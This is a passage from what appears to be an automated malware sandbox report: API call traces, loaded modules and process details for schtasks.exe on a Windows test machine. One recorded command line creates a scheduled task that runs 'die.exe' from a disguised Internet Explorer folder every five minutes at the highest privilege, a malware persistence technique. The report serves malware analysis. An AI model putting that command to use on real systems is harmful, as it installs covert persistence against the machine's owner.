dwFlags=0x0, lpMem=0x3bbb70) returned 1 [0078.094] GetProcessHeap () returned 0x3a0000 [0078.094] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bbb70) returned 0x18 [0078.094] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5bc0) returned 1 [0078.094] GetProcessHeap () returned 0x3a0000 [0078.094] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5bc0) returned 0x20 [0078.094] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5c50) returned 1 [0078.094] GetProcessHeap () returned 0x3a0000 [0078.094] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5c50) returned 0x20 [0078.095] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5cb0) returned 1 [0078.095] GetProcessHeap () returned 0x3a0000 [0078.095] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5cb0) returned 0x20 [0078.095] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5d10) returned 1 [0078.095] GetProcessHeap () returned 0x3a0000 [0078.095] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5d10) returned 0x20 [0078.095] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5d40) returned 1 [0078.095] GetProcessHeap () returned 0x3a0000 [0078.095] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5d40) returned 0x20 [0078.095] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bbb90) returned 1 [0078.095] GetProcessHeap () returned 0x3a0000 [0078.095] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bbb90) returned 0x18 [0078.095] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5c80) returned 1 [0078.095] GetProcessHeap () returned 0x3a0000 [0078.095] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5c80) returned 0x20 [0078.095] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bbb10) returned 1 [0078.095] GetProcessHeap () returned 0x3a0000 [0078.095] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bbb10) returned 0x18 [0078.095] exit (_Code=0) Thread: id = 163 os_tid = 0xc88 Process: id = "41" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3c783000" os_pid = "0xc8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"died\" /sc MINUTE /mo 5 /tr \"'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3552 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3553 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3554 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3555 start_va = 0x60000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 3556 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3557 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3558 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3559 start_va = 0xff9d0000 end_va = 0xffa17fff monitored = 1 entry_point = 0xff9f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3560 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3561 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3562 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3563 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3564 start_va = 0xe0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3565 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3566 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3567 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3568 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3569 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3570 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3571 start_va = 0x160000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3572 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3573 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3574 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3575 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3576 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3577 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3578 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3579 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3580 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3581 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3582 start_va = 0x260000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 3583 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 3584 start_va = 0x3f0000 end_va = 0x577fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3585 start_va = 0x260000 end_va = 0x288fff monitored = 0 entry_point = 0x261010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3586 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 3587 start_va = 0x260000 end_va = 0x288fff monitored = 0 entry_point = 0x261010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3588 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3589 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3590 start_va = 0x580000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 3591 start_va = 0x710000 end_va = 0x1b0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 3592 start_va = 0x260000 end_va = 0x271fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3593 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3594 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3595 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3596 start_va = 0x1b10000 end_va = 0x1ddefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3597 start_va = 0x1de0000 end_va = 0x1e5cfff monitored = 0 entry_point = 0x1decec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3598 start_va = 0x1de0000 end_va = 0x1e5cfff monitored = 0 entry_point = 0x1decec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3599 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3600 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3601 start_va = 0x1de0000 end_va = 0x1ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 3602 start_va = 0x1ed0000 end_va = 0x1faefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ed0000" filename = "" Region: id = 3603 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3604 start_va = 0x20e0000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 3605 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3608 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3609 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 3610 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3611 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 3612 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3613 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3632 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 164 os_tid = 0xc78 [0077.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfb20 | out: lpSystemTimeAsFileTime=0xdfb20*(dwLowDateTime=0x5743cb80, dwHighDateTime=0x1d9eb0c)) [0077.679] GetCurrentProcessId () returned 0xc8c [0077.679] GetCurrentThreadId () returned 0xc78 [0077.679] GetTickCount () returned 0x1768dc5 [0077.679] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xdfb28 | out: lpPerformanceCount=0xdfb28*=2488416271219) returned 1 [0077.680] GetModuleHandleW (lpModuleName=0x0) returned 0xff9d0000 [0077.680] __set_app_type (_Type=0x1) [0077.680] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9f972c) returned 0x0 [0077.680] __wgetmainargs (in: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248, _DoWildCard=0, _StartInfo=0xffa1125c | out: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248) returned 0 [0077.681] _onexit (_Func=0xffa02ab0) returned 0xffa02ab0 [0077.681] _onexit (_Func=0xffa02ac4) returned 0xffa02ac4 [0077.682] _onexit (_Func=0xffa02afc) returned 0xffa02afc [0077.682] _onexit (_Func=0xffa02b58) returned 0xffa02b58 [0077.682] _onexit (_Func=0xffa02b80) returned 0xffa02b80 [0077.682] _onexit (_Func=0xffa02ba8) returned 0xffa02ba8 [0077.682] _onexit (_Func=0xffa02bd0) returned 0xffa02bd0 [0077.682] _onexit (_Func=0xffa02bf8) returned 0xffa02bf8 [0077.682] _onexit (_Func=0xffa02c20) returned 0xffa02c20 [0077.683] _onexit (_Func=0xffa02c48) returned 0xffa02c48 [0077.683] _onexit (_Func=0xffa02c70) returned 0xffa02c70 [0077.683] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.683] WinSqmIsOptedIn () returned 0x0 [0077.683] GetProcessHeap () returned 0x160000 [0077.683] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x175560 [0077.684] SetLastError (dwErrCode=0x0) [0077.684] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0077.684] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0077.684] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0077.684] VerifyVersionInfoW (in: lpVersionInformation=0xdf2e0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdf2e0) returned 1 [0077.684] GetProcessHeap () returned 0x160000 [0077.684] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x17bb20 [0077.684] lstrlenW (lpString="") returned 0 [0077.684] GetProcessHeap () returned 0x160000 [0077.684] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x2) returned 0x17bb40 [0077.684] GetProcessHeap () returned 0x160000 [0077.684] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175a50 [0077.684] GetProcessHeap () returned 0x160000 [0077.684] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x17bb60 [0077.684] GetProcessHeap () returned 0x160000 [0077.684] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175a80 [0077.685] GetProcessHeap () returned 0x160000 [0077.685] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175ab0 [0077.685] GetProcessHeap () returned 0x160000 [0077.685] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175ae0 [0077.685] GetProcessHeap () returned 0x160000 [0077.685] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175b10 [0077.685] GetProcessHeap () returned 0x160000 [0077.685] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x17bb80 [0077.685] GetProcessHeap () returned 0x160000 [0077.685] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175b40 [0077.685] GetProcessHeap () returned 0x160000 [0077.685] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175b70 [0077.685] GetProcessHeap () returned 0x160000 [0077.685] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175ba0 [0077.685] GetProcessHeap () returned 0x160000 [0077.685] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175bd0 [0077.685] GetProcessHeap () returned 0x160000 [0077.685] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x17bba0 [0077.685] GetProcessHeap () returned 0x160000 [0077.685] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175c00 [0077.685] GetProcessHeap () returned 0x160000 [0077.685] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175c30 [0077.685] GetProcessHeap () returned 0x160000 [0077.685] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175c60 [0077.685] GetProcessHeap () returned 0x160000 [0077.685] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175c90 [0077.685] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.686] SetLastError (dwErrCode=0x0) [0077.686] GetProcessHeap () returned 0x160000 [0077.686] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175cc0 [0077.686] GetProcessHeap () returned 0x160000 [0077.686] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175cf0 [0077.686] GetProcessHeap () returned 0x160000 [0077.686] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175d20 [0077.686] GetProcessHeap () returned 0x160000 [0077.686] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175d50 [0077.686] GetProcessHeap () returned 0x160000 [0077.686] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175d80 [0077.686] GetProcessHeap () returned 0x160000 [0077.686] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x17bbc0 [0077.686] _memicmp (_Buf1=0x17bbc0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.686] GetProcessHeap () returned 0x160000 [0077.686] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x208) returned 0x17bd60 [0077.686] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x17bd60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0077.686] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0077.690] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0077.690] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0077.691] GetProcessHeap () returned 0x160000 [0077.691] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x74e) returned 0x17c330 [0077.691] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0077.691] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x17c330 | out: lpData=0x17c330) returned 1 [0077.691] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0077.691] VerQueryValueW (in: pBlock=0x17c330, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdf3c8, puLen=0xdf430 | out: lplpBuffer=0xdf3c8*=0x17c6cc, puLen=0xdf430) returned 1 [0077.694] _memicmp (_Buf1=0x17bbc0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.694] _vsnwprintf (in: _Buffer=0x17bd60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdf3a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0077.694] VerQueryValueW (in: pBlock=0x17c330, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdf438, puLen=0xdf428 | out: lplpBuffer=0xdf438*=0x17c4f8, puLen=0xdf428) returned 1 [0077.694] lstrlenW (lpString="schtasks.exe") returned 12 [0077.694] lstrlenW (lpString="schtasks.exe") returned 12 [0077.694] lstrlenW (lpString=".EXE") returned 4 [0077.694] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0077.695] lstrlenW (lpString="schtasks.exe") returned 12 [0077.695] lstrlenW (lpString=".EXE") returned 4 [0077.695] _memicmp (_Buf1=0x17bbc0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.695] lstrlenW (lpString="schtasks") returned 8 [0077.695] GetProcessHeap () returned 0x160000 [0077.695] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x175e70 [0077.695] GetProcessHeap () returned 0x160000 [0077.695] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cc40 [0077.696] GetProcessHeap () returned 0x160000 [0077.696] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cc70 [0077.696] GetProcessHeap () returned 0x160000 [0077.696] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cca0 [0077.696] GetProcessHeap () returned 0x160000 [0077.696] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x17bbe0 [0077.696] _memicmp (_Buf1=0x17bbe0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.696] GetProcessHeap () returned 0x160000 [0077.696] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0xa0) returned 0x17c160 [0077.696] GetProcessHeap () returned 0x160000 [0077.696] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17ccd0 [0077.696] GetProcessHeap () returned 0x160000 [0077.696] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cd00 [0077.696] GetProcessHeap () returned 0x160000 [0077.696] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cd30 [0077.696] GetProcessHeap () returned 0x160000 [0077.697] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x17bc00 [0077.697] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.697] GetProcessHeap () returned 0x160000 [0077.697] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x200) returned 0x17d410 [0077.697] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0077.697] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0077.697] GetProcessHeap () returned 0x160000 [0077.697] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x30) returned 0x177be0 [0077.697] _vsnwprintf (in: _Buffer=0x17c160, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdf3a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0077.697] GetProcessHeap () returned 0x160000 [0077.697] GetProcessHeap () returned 0x160000 [0077.697] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c330) returned 1 [0077.697] GetProcessHeap () returned 0x160000 [0077.697] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c330) returned 0x74e [0077.698] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c330 | out: hHeap=0x160000) returned 1 [0077.698] SetLastError (dwErrCode=0x0) [0077.698] GetThreadLocale () returned 0x409 [0077.698] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.699] lstrlenW (lpString="?") returned 1 [0077.699] GetThreadLocale () returned 0x409 [0077.699] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.699] lstrlenW (lpString="create") returned 6 [0077.699] GetThreadLocale () returned 0x409 [0077.699] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.699] lstrlenW (lpString="delete") returned 6 [0077.699] GetThreadLocale () returned 0x409 [0077.699] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.699] lstrlenW (lpString="query") returned 5 [0077.699] GetThreadLocale () returned 0x409 [0077.699] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, 